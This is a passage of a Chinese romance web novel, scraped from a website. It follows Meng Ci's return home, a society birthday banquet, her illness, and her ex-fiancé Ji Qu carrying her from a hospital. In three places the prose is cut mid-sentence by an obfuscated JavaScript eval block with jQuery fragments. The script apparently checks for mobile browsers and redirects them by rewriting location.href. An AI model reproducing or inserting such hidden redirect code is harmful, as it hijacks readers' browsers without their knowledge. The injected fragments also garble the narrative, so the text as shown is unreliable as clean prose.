皮笑肉不笑地将孟慈和方萤引到沙发上等模特展示礼服。 “您好我是Coco,我们总监临时出差,专门安排了我来接待您。” 也不知道该说她们工作做的到位,还是不到位,模特的身型气质都是按照孟慈本人找的,但是礼服款式怎么看怎么和前几年的大差不差。 方萤已经提前给孟慈看过款式。 但是模特越多出入越大,一时间孟慈还以为自己记忆错乱。 一个挑眉方萤就明白孟慈心里所想,她代替孟慈开口,“这些款式好像……” “不一样是吧?”Coco虽然年轻,但在察人眼色方面算得上是一流。 “我们根据孟总之前的喜好做了研究,换了一批孟总可能喜欢的,知道孟总时间宝贵,太花哨了孟总也一定看不上,就不浪费孟总时间了。” 也不知道是在点谁。 Coco期间数次抬腕看表,楼梯口也一直有工作人员搬着箱子往外运,浪费的应该是后边那位顾客的时间。 孟慈回国前就有预期,毕竟今时不同往日。 迟来的困劲逐渐翻涌上头,她随手指了一件简单的黑色鱼尾款,“就这件吧,其他配饰麻烦也一并帮我准备好。” “好嘞,那我们提前半天去府上帮您做造型。” Coco和之前的老人们打听了些消息,知道孟慈好伺候,难对付的是她身边那位,什么都要最好的,Tina等人三年前可是有幸见识过。 不过现在,天壤之别罢了。 Coco笑着送人离开,毕竟接下来还有大客户。 还没等把孟慈选好的礼服打包好,Tina的电话就打了过来,“结束了没?那批礼服怎么还没到?和你说了不用浪费时间,这边才是大头。” Coco连忙回答:“知道了姐,我这刚完事,马上过去。” - 孟慈时差倒的荒唐。 直接在家整整躺了三天才彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345809|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常。 只不过没适应气候,有点小伤风。 今晚就是安娜弟弟的生日宴会。 Tina和方萤约好下午三点准时□□。 整点敲门时孟慈刚把甜苦交杂的感冒冲剂灌进嘴里。 方萤看了眼孟慈无精打采的状态,又安顿阿姨煮些红糖姜汤后才回到衣帽间陪孟慈化妆。 孟慈的鼻翼两侧被纸巾摩擦得发红。 化妆师挑了一小坨面霜化在手心,细致地作妆前保湿。 方萤掏出一早就准备好的东西:“文件里面是你不在这两年圈子里的家族关系变化和一些新贵,你认认人。” 接过平板,孟慈用手指轻轻滑动着认脸,“其实用不着的,我去待一会儿就走,估计都看不到几位。” 晚上七点,孟慈准时抵达安家别墅。 安娜正在爷爷奶奶跟前尽孝,安顿了赵一辰出来接人。 “我一会儿来接你。”方萤还有没处理完的工作,需要返回公司。 “不用了,你直接下班,我联系司机师傅就好。”孟慈拎着偏长的裙摆下车,站稳后冲方萤摆摆手。 看着出尘动人的孟慈,方萤始终放不下心。 就算是安娜的主场也是,她的右眼皮从晨起就开始止不住地跳。 那边孟慈已经踩着步子往花园里走,只留给方萤一个背影,没给她纠缠的机会。 几十米长的红毯一直从花园入口铺到前厅大门,孟慈打量着周围奢侈昂贵的布置,一时间有些走神。 赵一辰的电话号码在与安娜的聊天记录里,孟慈不想联系以前的朋友们。 她打算自己找个角落安静等着,等到安娜出现打个招呼就找借口离开,安娜知道她的性子,即便不爽也不会多说什么。 还没等走到一半的红毯孟慈就不得不停了脚。 为了搭配长款裙身,造型师找了双约有12寸高的鞋子。 出外这几年孟慈很少穿这么高的高跟鞋,牵起裙摆低头一扫,脚后跟处已经渗了血丝出来。 抬起腕表对了下时间,距离晚宴开始还有富余。 孟慈选择让人再送一双鞋子。 她从很早之前就决定不为难自己。 花园里摆了不少木椅,孟慈找了处近的坐下休息。 就如同方萤预料的一样,偶尔路过的人都是孟慈从未见过的生面孔。 当然,孟慈对他们来说也是新鲜、动人、美丽的新面孔。 不过一会儿的时间孟慈面前就已经摞了不少名片。 孟慈从脑海中搜索方萤所做文件里的人物信息。 失败居多。 而且她也没有名片可回敬。 出于社交礼貌孟慈只能一遍又一遍地重复自己的名字。 有一两个人会在听到“孟慈”两个字的同时想起一点关于她和季曲的传闻。 其他的全是一副空白模样。 这也正常。 距离开宴时间越来越近,再加之孟慈的疏离态度,人们倒也纷纷离开。 孟慈四下看看,趁没人的时候把一摞名片通通塞到了对面垃圾桶里,都是累赘。 刚刚收回手,孟慈就听到身后传来脚步声,还不止一位。 孟慈干脆站在一旁,准备等人通过自己再回到原位。 毕竟走路不方便,就不挡路了。 “安太太上次送来的甜点很好吃。” “喜欢就让她再送点。” 再熟悉不过的男声钻到孟慈耳朵里,拨动了脑海中不知道哪根死寂已久的神经,就像是用一个姿势坐太久被影响血液循环的双腿,不容忽视的酥麻感像通电一样分秒间穿过全身。 恰巧一阵风吹过,又将那股感觉卸了下去。 孟慈深呼吸,没回头,也没作声。 5. 第 5 章 季曲是在安家宴会开始前半小时落的地。 一下飞机就看到薄娴带着司机在接机口等待,季曲不免意外。 “刚好下午去你家拜访了伯母,知道你也要来,我进去无聊,还不如和你一起。” 薄娴穿了件长风衣,下摆处露出镶满碎钻的礼服裙角,应该是刚从车上下来,皮肤还是自然的颜色。 上车前,薄娴指着车子的尾部说华婉已经准备好了礼品,但是不知道需不需要再补一些。 季曲听完只是摆摆手。 他转身替薄娴拎起累赘的裙角,说自己妈妈心思,用不着再检查。 季曲也是临时被华婉安顿下要走这一趟。 即使下午自己还在最南端谈生意。 “听说是要给季芷和安翰搭线?”薄娴翻了翻手里的杂志,觉得无趣,主动挑起话题。 “嗯。”季曲靠在座椅上闭目养神,一天内飞两趟长线实现有些受不了,尤其还是在宿醉的状态下。 季芷是季曲的表妹,之前长居国外。 今年年初才回来。 华婉不知道怎么想起揽这些事。 安家近几十年发展的不算太好。 安老爷子当初大刀阔斧地招揽了几方办起合资企业,却不想身体不做主,还没等攀到顶峰就先下了山。 安东升是个胆小的性子,做生意束手束脚。 能把安家这些家本守住就是好的了。 安翰倒是隔代遗传了安老爷子的魄力。 上任数年终于摆正了企业的发展方向,有几分“拨乱反正”的意思。 但是也不至于“正”到季家上赶着去联姻。 车子行驶途中,薄娴突然想起什么,也没管季曲是不是睡着,冷不丁地提到自己记得安翰应该有女朋友。 过了几秒,季曲睁开眼。 刚好车窗外高楼林立,外壁的LED统统开启,他指了一栋。 薄娴顺着他手指的方向看,恍然大悟道:“对,上个月的剪彩活动还见到过,挺优秀一姑娘。” “安翰宝贝得紧,季芷和他成不了。”季曲收回视线。 “那可不一定。”薄娴的笑里多了几分揶揄,“你之前不也有个宝贝的紧的?不还是和沈小姐订婚了?” 坐在副驾驶位上的秘书刷手机的动作一顿,注意力瞬间都放在了后面。 季曲侧过脸对上薄娴,上挑的眼深敛着,有些森冷。 天聊到这儿就该停了。 薄娴也不是自讨无趣的人。 耸耸肩自觉闭了嘴,继续翻自己手里的时尚杂志。 “你下个月要去伦敦吧?” “又要什么?” 薄娴指着杂志页上的周年限量款鳄鱼包:“我生日快到了。” “你生日在夏天。” “可以先送。” 季曲无奈,拿出手机拍照留存。 薄娴爱闹,尤其是目标清晰却得不到的时候,能用钱解决的事最好别浪费时间。 车子又开了一会儿,安家到了。 两人简单整理着装下车,秘书拿着礼物跟在后面。 安家的花园盖的中规中矩,五颜六色,花团锦簇。 薄娴边走边指哪朵好看。 季曲不甚在意地走在前面,敷衍点头。 他对植物园艺没什么研究,看什么都差不多。 毕竟各花入各眼。 正当季曲想着还是华婉的园子打理的漂亮时,突然在半路碰到园子里开的最好的一朵。 好久不见的一朵。 孟慈一袭黑裙坐着宽大的红漆木椅上,夜色衬得她裸露在外的肌肤更莹白细腻。 至于面容…… 季曲没看清,总不能在公开场合大咧咧地盯着前任肆无忌惮地看。 孟慈面前还有一个男人,两个人不知道在聊什么。 她好像在笑,那个男人没多留。 孟慈在人离开后也跟着起身。 她手里面不知道拿了些什么。 不过被她毫不可惜地塞进了垃圾桶。 她依旧纤细,依旧美丽。 在路过孟慈的时候,季曲也不知道自己出于什么心思,突然提高了几分音量。 不知道是不是自己眼花。 他好像看到孟慈的脊背紧绷一瞬。 但是孟慈没回头。 不过季曲也没受什么影响。 他安稳地迈着步子沿着红毯走进别墅。 接到季曲到场的消息,安东升立马带着全家老小出来接人,恭敬程度简直像是迎自家长辈。 季曲微笑,向后招招手让秘书把礼品送上。 “哎呦季总太客气了!人来了就好还带着这么贵重的礼物,知道您这两年都在外面发展,根本就没想着您能莅临寒舍!”安东升奉承起来连年龄辈份都能视而不见。 “最近刚好有笔生意要谈,能在家留一段时间。”季曲略微撤后一步,拉开与众人的距离。 室内热火朝天,室外凉风瑟瑟。 那边孟慈没等到造型室的鞋子,倒是方萤去而复返。 她从后备箱取出一双平底鞋,说自己就知道那么高的鞋子一定很难穿,然后看着孟慈换上才离开。 孟慈换好鞋子后又在外面磨蹭了一会儿,直到晚宴开始后才进门。 安娜正忙着和安翰一起交际寒暄,远远地冲孟慈使了眼色,孟慈便了然。 还好季曲来了。 大家此时都围在他身边。 除了偶尔几位在外面递过名片不死心的,孟慈倒也乐得清闲。 赵一辰等人一早就站在季曲身边,为他挡一挡那些没有眼色的人。 “哥,这次准备呆多久?”赵一辰的小姨前些年嫁给了季家的一支旁系,也算得上是一门“亲戚”,再加上赵一辰从小就跟在季曲屁股后面吃喝玩乐,叫一句“哥”也不过分。 “看情况。” 季曲端着酒杯站在人群中,没有半分被众星捧月的局促感,反倒自在十分,仿佛他生来就该被簇拥。 “这样啊……孟慈也回来了,安娜一直安顿我照顾一下,我去一趟再回来?”赵一辰在安娜的多方威胁下接了这个满是荆棘的担子,他硬着头皮开口。 “嗯。”季曲轻飘飘的一句反倒让在场众人失了常心。 嗯……就没了? 围着季曲的人们不免看向孟慈所在的方向。 她站在窗户旁,手里拿着香槟,不知道在和别人聊什么。 身材曼妙,面容精致,胜于满场众人。 转头看看面上没有一丝波澜的季曲和他身边落落大方的薄娴,大家瞬间会意。 孟慈和季曲就到这儿了。 既然就到这儿了。 那么也就意味着孟慈再也不是某些人眼中的香饽饽,也意味着孟慈又成了某些人眼中的香饽饽。 白清做学术交流时在一场活动上刚好碰到安东升赞助,一听是教育领域的大拿,安东升便也送上请帖。 看到孟慈的瞬间,白清还以为自己认错了人。 毕竟读书时的孟慈总是素雅打扮,他没见过孟慈被珠光华翠点缀的模样。 孟慈看到白清时也是一愣,几秒后才笑着打招呼,简单说明了自己因为私人的事情临时回国几天,没想到能碰到白清。 简单聊了几句,孟慈突然察觉到季曲那边投来数束目光。 好奇、审视、估价……应有尽有。 感觉不算太好。 看来今天等不到安娜过来,孟慈拿出手机准备叫司机过来接她。 白清看着孟慈的动作,问:“你要走啦?” 孟慈还在聊天记录里翻司机的电话:“嗯,家里还有点事。” 白清笑着说巧了,梁漠的爷爷家也住在附近,他们两个人刚刚还在门口聊了会天儿。 还没等孟慈拒绝,白清就已经给梁漠发去消息,那边回复也快,说十分钟内就到。 这样也好,孟慈也想快点离开。 掐着点,孟慈放下手里的酒杯,牵起裙摆悄悄离场,即使脚上的伤口已经做了简单的处理,走起路来也同样难忍。 还没等孟慈迈出大门,就看到一身便服的梁漠已经从对面迎了上来。 “你怎么进来的?”孟慈记得门口有专人负责检查请帖。 “我们两家是邻居,平常都会走动。”梁漠倒是自然。 “你和安娜也认识?” “小时候一起玩过几次,长大了之后就少了,都是逢年过节会见几次。” 是了,这片地方就这么大,名流就那么多,不认识才稀奇。 孟慈没再纠结于此,梁漠带了件外套,像是有备而来。 “晚上凉。”梁漠一边说一边把外套披在孟慈裸露在外的肩膀上,他补充道:“没穿过的,我奶奶总会在衣柜里备一些新衣服。” 看着身上的卫衣外套,孟慈心间一软,“你奶奶倒是把你当小孩子。” 梁漠笑了笑:“她估计得见到重孙子才能反应过来我已经是大人了。” 那边安娜终于结束交际。 她扯着已经笑到发酸的嘴角一路规规矩矩地走到赵一辰身后,然后悄悄地在众人遮挡下灌了一杯香槟。 “啊!活了!”安娜用纸巾做作地沾了沾嘴角,“孟慈呢?” “刚还在那儿呢。”赵一辰指了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345810|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指早已空了的窗户旁。 “哪儿?哪儿?我不是让你照顾着点?!” 眼看着安娜又要发脾气,赵一辰连忙在场子里找人,他恨不得自己现在长八只眼睛。 “门口那个是吗?”不知道谁说了一句,大家纷纷看过去。 梁漠刚好从孟慈手里接过裙摆,略靠后一点和她同行。 由于视觉错位,从安娜等人的角度看来梁漠仿佛把人护在怀里。 “怎么就走啦?我还没和她聊上天呢!” 安娜一边说一边就要提裙子去追。 还没等走出两步就被赵一辰揪着胳膊拎了回来,她吃痛正准备骂人就看见赵一辰的五官好像抽搐了一样冲着她眨巴。 “干嘛啊?中风了你?”安娜嫌弃道。 季曲和众人一样看到孟慈离去的身影。 视线不过停留几秒,又极为平淡地收回。 一副与他无关的模样。 “孟慈旁边谁啊?”不知道谁小声问了一句。 安娜眯着眼辨认了几秒:“梁漠啊,我邻居,小时候一起玩,后来人家早早出国了,听说年初刚回来,帮家里做事。” 说到这儿赵一辰也想起来点儿什么:“就是小时候那个书呆子?连鸟窝都不敢掏的那个?” 安娜斜了赵一辰一眼:“你可别看不起人,过年听他奶奶说不少人家想和梁漠相亲,人都看不上。” “那他怎么认识孟慈的?” “他们一个学校啊,梁漠比孟慈大两届。” 赵一辰皱眉看向安娜:“你怎么之前没提过?” 安娜也皱眉:“你又没问。” 两个人在这边你一言我一语地交流起来,大家习惯了两人的相处模式,就当乐子看着。 薄娴怼了怼季曲的胳膊,颇有些幸灾乐祸,“哎,没反应?” 季曲不动声色地挪开一步,顺势把酒杯换了手,“我该有什么反应?” 薄娴看了看面色无虞的季曲,笑道男人真是无情。 似是无所谓的,季曲抬腕看了看表。 他已经在这场没有营养的晚宴待了半个多小时。 安翰一过来还没等季曲等人说什么他就以招待不周为由自罚一杯。 举杯时,季曲恰好看到他无名指上的戒指,心下了然。 简单打了个招呼。 季曲说自己还有事要先离开。 薄娴还有些和安翰的合作要聊,没跟着走。 屋外凉风习习,树叶被吹得簌簌地响。 脱离嘈杂的人声,季曲觉得肩颈松快不少。 但是实在碰巧,没走几步,刚好又看到故人。 梁漠极绅士地拉开车门请孟慈入座,又仔细地将裙摆收拢到孟慈脚下,而后才转身走到驾驶位开门离开。 “季总,要不要我去查一查?”孙谦自诩极会看自家老板的眼色。 看着车子消失在转弯处。 季曲没由来地心下一紧,他伸手将领带左右扯了扯,又解开了衬衣的第一个扣子,“不用。” 司机来得也快。 季曲上车后拿起平板开始回复邮件,今天一天几乎没工作,攒了不少待办信息。 “明天的参观上面也会来人,我和司机提前一小时到楼下接您……”孙谦在副驾驶尽职尽职地汇报信息。 直到抵达目的地,孙谦才等来老板的回应。 “催一下项目书,改好了再发我一份。” 城市中心的大平层少有人气。 季曲进门时却看到玄关处的花瓶里插着一束百合,墨水般的气味散了满室。 再往里走,客厅没开灯,卧室的门虚掩着,漏出一道弱弱的亮。 “季曲?你回来啦?” 一道女声自房间里传出,接着是一阵奚奚索索的动静。 一时间意识有些恍惚。 掐了掐眉心,季曲再抬头时面前已经站了个人。 “你怎么回来没提前说?我就给你留点饭,你都好久没回来了……” 小姑娘越说越起劲。 季曲从记忆里搜寻相关,终于找到一根线头。 好像是某次去大学校园做演讲时遇到的。 相处的时间不算多。 后来小姑娘和舍友闹矛盾,季曲便随手递了把钥匙过去。 “我回来拿点东西,车还在楼下。”从衣帽间随手抓了块表,季曲便不顾小姑娘的挽留飞快地上了电梯。 电梯门关闭。 光滑的壁表映出季曲的脸。 看着微乱的发丝和衣领。 季曲无语地勾唇自嘲。 老大不小的人了,真是没什么意思。 6. 第 6 章 从安娜家离开后,孟慈谢绝了梁漠第二天的晚饭邀约。 她感觉头愈发昏沉,把礼服脱掉简单整叠放在沙发上,顺手给方萤发消息说自己明天要休息不用来找她。 孟慈草草地洗了澡,都没有多余的力气把头发吹干。 从衣柜里随便扯了件睡袍裹在身上就钻进厚重的棉被中休息。 过了很久,她始终周身发冷。 将四肢紧紧地封在棉被组成的密闭空间里,孟慈就这么迷迷糊糊地睡了过去。 这一觉睡得不踏实。 孟慈身上止不住的发汗,一会像火烤,一会又像置身冰窖,呼吸沉重,太阳穴跟着抽痛。 她伸手在床头探来探去,拿起手机一看,凌晨三点。 认命般的,孟慈从床上爬起来换上衣服叫车去了医院。 两年未归,德治医院倒是没什么变化。 孟慈轻车熟路的搭上电动扶梯来到门诊楼的七层。 身边有不少像她一样的病患,精神萎靡的与她擦肩。 电子屏幕上滚动着叫号信息。 孟慈站在原地仰头去看。 等到名字转了一圈后才发现上面没有自己。 用手扶上滚烫一片的额头,她苦笑一下。 真是烧糊涂了,明明都没挂号,哪里来的名字。 嗓子又开始发痒,咳嗽到喉咙发痛都压制不住那份毛意。 孟慈逐渐咳弯了身子,伸手扶在一旁的栏杆上,直到脸都红了才缓过来。 用手在起伏不定的胸口处顺了顺,她才准备重新到一楼挂号。 “孟慈。” 还没等孟慈转身离开,诊室的门突然从里打开。 有人叫她。 还以为是自己听错了,孟慈回头辨认。 “孟慈。” 季曲不知道为什么坐在办公桌后,正直勾勾地看着她。 “你?你不是……”孟慈皱眉,明明季曲的骗人把戏已经被她戳破了,怎么又来? 季曲没回答。 他穿着矜贵硬挺的深色西服,胸口还别着孟慈送的钢笔,袖口也规矩地束在手腕上。 但是,他没穿白大褂。 真相在孟慈的脑海中抽丝剥茧般呈现。 凌晨依旧接诊的门诊楼,接踵而至的病人,分毫未变的陈设,以及于此处格格不入的季曲。 想到这儿,憋得生紧的胸口竟松了几丝,孟慈看着看着,兀自笑了出来,“原来是做梦了啊……” 努力张开眼睛,是高高的天花板。 下意识地用手摸身边的毛绒玩偶,却摸了个空。 孟慈呆滞了一会儿才慢吞吞地把手拿回来,用床头的体温计测了一下,38.7°C。 直到太阳彻底露面,孟慈才恢复了一点力气。 从衣柜里随便掏了套衣服,戴上帽子叫车出门。 孟慈在车上也干咳不止,即使隔着口罩也能看出这个人正在难受。 司机看了眼后视镜,闲聊似的搭话:“姑娘,我看你定的目的地是二附院,怎么不去德治啊?离你家也近,我看你难受儿得厉害。” “……咳咳…我家亲戚在二附院。”孟慈挑了个不容反驳的借口。 “哦,那确实更方便。”司机还想说点什么,但是看到无精打采的孟慈,只能悻悻闭了口。 二附院是公立医院,自然比德治医院在设备环境上要差一点。 孟慈有这个心理准备。 挂号、问诊、抽血……一系列既定流程后孟慈喜提五瓶药水和一兜子口服药。 最近换季,流感的人很多,病床全部住满了。 孟慈只分到一个椅子。 还是护士看孟慈自己一个人才替她抢出来的。 “你就坐在这儿,不舒服就喊我们。” “谢谢。” 孟慈扶着自己的左臂缓缓入坐,脚下就像踩了棉花一样的软,头也昏沉到立不起来,只能倚在椅背上休息。 “季总,这次非常感谢您能来我们医院参观,您捐赠的设备我们一定好好使用……” 耳边突然嘈杂起来。 孟慈隐约间听到季总两个字。 扎了针的胳膊依旧在抽痛,总不能又是做梦了吧,再跑医院一次孟慈真的会崩溃。 努力掀起沉重的眼皮。 孟慈朝着人群中看。 一群白大褂前面还站着几位通身黑色的人,他们正在往这边走。 “季总咱们坐扶梯下楼吧,电梯那边挨着门诊,最近流感严重,别再传染您……” 不说还好,说起来大家不免往孟慈所在的方向看了一眼,刚刚护士帮孟慈找的是第一排的座位,正面着护士站,十分贴心。 但是孟慈也因此大剌剌地暴露在众人视线里。 明明已经避开了德治,怎么还能碰到? 孟慈连抱怨的力气都没有。 她抬眼左右扫扫,旁边有一个学生,他的舍友刚好在一旁陪着。 两个人自从孟慈坐下已经开了不下五把游戏,还好孟慈状态本就差,不然一定被吵到头疼。 “不好意思,您能帮我个忙吗?”孟慈主动开口。 坐在地上的男孩子抬头,左右扭看两下才迟疑回答:“我吗?” “对,麻烦您能不能帮我调慢点滴速,我有点眼花。” 刚刚孟慈坐下的时候男生就没忍住偷偷瞄了好几眼,即使戴着帽子口罩也无法遮掩她身上自带的韵味。 现在孟慈为了交流将帽檐抬起几分,因为发烧而水汽朦胧的双眸更加动人。 “好。”男生立马站起来,手忙脚乱地拿过孟慈的输液管调整滴速,期间还一直确认,声音不自觉地紧张起来。 “这样可以吗?” “麻烦再慢点。” “这样呢。” “差不多了……” 一直等到对面的人群散开,孟慈才点头说可以。 她和男生道谢后又立马恢复之前那副软软的样子,将帽檐压低,把自己隐藏起来。 “…那个……你是不是该叫护士换药啦?”男生坐回原处后依旧时不时地往孟慈那瞟一眼,三番五次下来发现瓶子里的液体已经快要流尽。 “您好?” “您能听到吗?” 男生得不到回应,还以为孟慈睡着了。 正准备伸手去碰孟慈垂在一旁的胳膊,却不想刚伸到一半就被人拦下。 熨烫到一丝不褶的西装裤,还有昂贵的手工皮鞋,男生抬头看见季曲的背影,沉重的黑色配上宽阔肩背,给人莫名的压迫感。 季曲站在孟慈面前,把男生的手挡在身后,他弯下腰去抬孟慈的帽檐。 孟慈整个人烧的通红。 眼睛紧紧地闭着,睫毛因为用力在止不住地发颤。 额前的发丝也被汗水浸湿不少,湿答答地贴在皮肤上。 “请问你是……”男生虽然和孟慈不熟,但是毕竟说过话,此时俨然把季曲看作外来者,鼓起勇气问了一句。 季曲没理。 他只是轻轻地把孟慈的帽子按回原位,然后上半身更往下探,双手穿过孟慈与椅子间的空隙把人捞进怀里。 孙谦利落地拿下架子上的输液瓶举过头顶,跟着老板离开。 剩下的人们根本看不懂这一番操作,在对方的眼中只能看到迷茫与惊愕。 季曲动作快步子大。 一群人乌泱乌泱地跟着往停车场涌。 直到目送季曲的车子离开,大家才开始打听刚刚季曲抱走的女人是谁。 上车后,孙谦通过后视镜看着后座上抱着孟慈一言不发的老板,他试图分析老板到底怎么想的? 断了这么久的人,难不成想再找回来? 但是前段时间老板刚订婚,华婉也明着暗着敲打自己多盯着点,以免在这种方面出什么岔子。 要是普通女伴倒是好打发,但是换上孟慈…… 孙谦瞬间开始头苦。 但是还没等孙谦分析出什么,季曲已经开口让他联系孟慈的秘书问问孟慈最近住的地方,让那边准备好接人。 其实一开始季曲是打算把人带回自己家的。 但是忆及那晚孟慈身边出现的梁漠……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345811|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>毕竟已经是旧情人的身份,何苦给人家堵了未来的路。 想到这些,季曲的眸色暗了暗。 方萤接到孙谦的电话就马不停蹄赶到孟慈家等着接人。 家政阿姨也被临时叫过来。因为孟慈之前说自己回国时间短,不需要人照顾,也就没配全天的阿姨家政。 饶是心里有准备,但是电梯门打开后看到季曲抱着孟慈的那一刻,方萤心下还是乱了阵脚,孙谦举着输液瓶跟在季曲身后,后面还有大夫和护士。 绿墅这套房子是孟慈自己看中的。 那时季曲的公司忙,几乎每天都在不同的城市,也就没怎么参与装修的事。 因此,一进门季曲就停了脚。 “方萤,卧室在哪?” 被孙谦一叫方萤才反应过来,急忙跑到人前带路。 卧室还保留着孟慈离开时的样子。 床品乱成一团,阿姨刚刚过来就在准备饭食,还没顾得上收拾卧室。 “次卧呢?”季曲扫了一眼,没法把孟慈放下。 “没有次卧,之前装修的时候孟总说她一个人住用不到次卧,就干脆和书房打通用了。”方萤连忙叫阿姨进来换床品。 医生和护士还留在客厅没跟进来。 阿姨身上的围裙都没来得及脱就被叫到卧室救急,方萤也跟着上了手。 季曲抱着孟慈坐在不算宽敞的飘窗上。 太阳光透过玻璃打在两人身上,反倒莫名其妙多了股岁月静好的意味来。 孟慈睡得不踏实。 总一个姿势窝着腰酸背痛。 她无意识地在季曲怀里嘤咛几声,眉头始终紧锁。 察觉到怀中人的意愿,季曲胳膊用力将人往上举了几分。 孟慈刚好靠在季曲的颈窝处。 鼻尖触到季曲脖子处的皮肤。 呼吸打在上面,惹得季曲一僵。 她的体温颇高,连呼出来的气也是热的。 季曲能感受到人在自己怀中上下起伏,消毒水味夹在她的发间。 自己的肢体也因为长时间保持一个动作而僵又酸。 不过他暂时还顾不上这些。 季曲只能自然而然地想到,她睡醒了闻到周身的味道,一定又要不高兴。 “换好了季总。”方萤和阿姨拿出最快的速度,终于搞定。 季曲抬眸,检查了一遍才起身把孟慈放在床上。 离开时,他的目光在孟慈的脸上停了一瞬。 从德治叫来的大夫和护士终于能上手检查。 季曲等人回到客厅。 孟慈不爱喝茶,家里也就没备茶叶。 方萤咬咬牙从冰箱掏了两瓶气泡水出来放在茶几上。 孙谦皱眉看向方萤,满脸的嫌弃与不可思议。 “孟总住不了几天,没备什么。”方萤讪讪一笑解释道。 还好季曲没什么反应,他连坐都没坐,等医生检查出来说明了情况后便抬脚离开。 这就走了? 孙谦坐着副驾驶上,一时间不知道该叫司机开到哪里。 “回公司。” “哦,好的季总。” 季曲沉默不语地坐在后面,孙谦思衬了一会还是选择开口。 “季总,咱们下午两点约了建材方的负责人,晚上周行长约了饭局。” “我知道。” “大夫刚刚说让孟总输完液最好再去医院拍个片子,怕烧的太久转成肺炎,要不然……” 季曲不是念旧的人。 最好的总在下一次,既然已经断了,那就没必要在捡起来。 在原地兜圈子不是他的作风。 刚刚一路抱着孟慈,西服的袖子被压了片褶印。 季曲看了看,没犹豫地将外套脱下,扔到一旁的空座位上。 他捡起一旁没看完的文件:“你找人打点吧,从家里叫点人过去帮帮忙,不用再和我汇报。” 车窗没关严。 风顺着缝隙溜进来,抚过散在一旁的西服。 消毒水味、药味、淡淡的香味,灌满了季曲的鼻腔。 7. 第 7 章 孟慈醒来时身上的衣服已经被换成了质地棉软的睡衣。 虽然还在低烧,但是发间的黏腻感却不同之前。 她撑着身子从床上坐起来,走到客厅一看,竟有四五个人在。 “您醒了?”其中一位看起来利落精明地先开口。 “嗯。”孟慈有点反应不过来。 “孟总你醒啦?刚好吃点东西,然后咱们还得去医院拍个片子。”方萤从厨房里跑出来解释,“孙谦刚好在医院碰到你,大夫说你太久没吃东西再加上发烧就昏了过去,怎么身体不舒服不和我说呀,孙谦给我打电话的时候我都以为自己看错了……” 孟慈打断方萤:“孙谦联系的你?” “对呀孟总。”方萤眨眨眼,脑子里全是孙谦刚刚打电话专门安顿自己的事,别让孟慈知道是季曲送她回来的。 在四周大致扫了几眼,孟慈没见到熟面孔,自嘲道估计真是自己烧糊涂了。 她坐在餐桌前,随口一问,“你帮我换的衣服?” 在旁边数药片的方萤浑身一僵,“嗯…我看你衣服都被汗浸湿了。” “哦。”孟慈摸了摸干爽的发丝,“头发是不是也有人帮我处理过?” 把彩色的药片用纸巾垫着一齐递给孟慈。 方萤又装作平静地撒了一个谎,“我看你头发也粘在一起,就找了位美发师来。” “麻烦你了。”孟慈一口气吞下药片,喉咙还钝钝地疼。 面前的菜碟多到孟慈伸直胳膊都够不到最远处的。 其实这些都是浪费。 孟慈梗着脖子咽了几勺白粥便放下餐具动身去医院。 方萤在衣帽间外问孟慈要去哪家医院,说孙谦走之前都让人联系过了。 两边都有医疗团队候着,随孟慈心意。 过了一会儿。 孟慈开门出来,她周身的力气还没恢复,只能倚着门框站立。 她依旧选了二附院。 “让大家走吧,把费用结了。”孟慈安顿方萤请人离开。 “好。”方萤不动声色地应下来,心里却想着一会儿赶紧给孙谦发消息让他把人撤了,不然自己真的会露馅。 医院那边早早地就派人在楼下等着,孟慈一到就被接去了国际部,里面的设施环境虽然比不上德治,但是与门诊楼相比称得上是“天壤之别”。 一系列的检查过后,孟慈已经开始了第五位大夫的第三轮把脉。 “麻烦再给我左手。” 孟慈顺从地伸出手放在药枕上。 “您在这儿休息一会儿,我们交流一下再给您说病情。”看起来像是领导的人带着大夫们离开。 “至于吗?”孟慈把衣袖扯回原处,没忍住感叹了句。 “好好看看总归没错,这两年也没见你按时体检。” 方萤把滑落的披肩给孟慈裹紧,旁边有人送上蜂蜜水让孟慈含着,说会舒服点。 孟慈接过,小口小口地吞咽。 等待时,孟慈不免回想起自己晕倒之前的事。 说是晕倒。 其实自己只是单纯的烧糊涂了,所以陷入了混沌状态。 比起彻底失去知觉。 孟慈还残留了一些浅薄的知觉意识。 比如她感觉到自己从冰冷生硬的椅子上换到了稍微没那么冰冷生硬的地方。 可能是软一些的椅子? 或者是病床? 甚至是谁的怀抱。 醒来之后,孟慈根本没见到孙谦的人影。 他只和方萤单线联系。 就算自己发了道谢消息过去也不过收到“不客气,您好好休息。”的回复。 实在太官方。 再加上那天自己真的听到了有人叫“季总”这两个字。 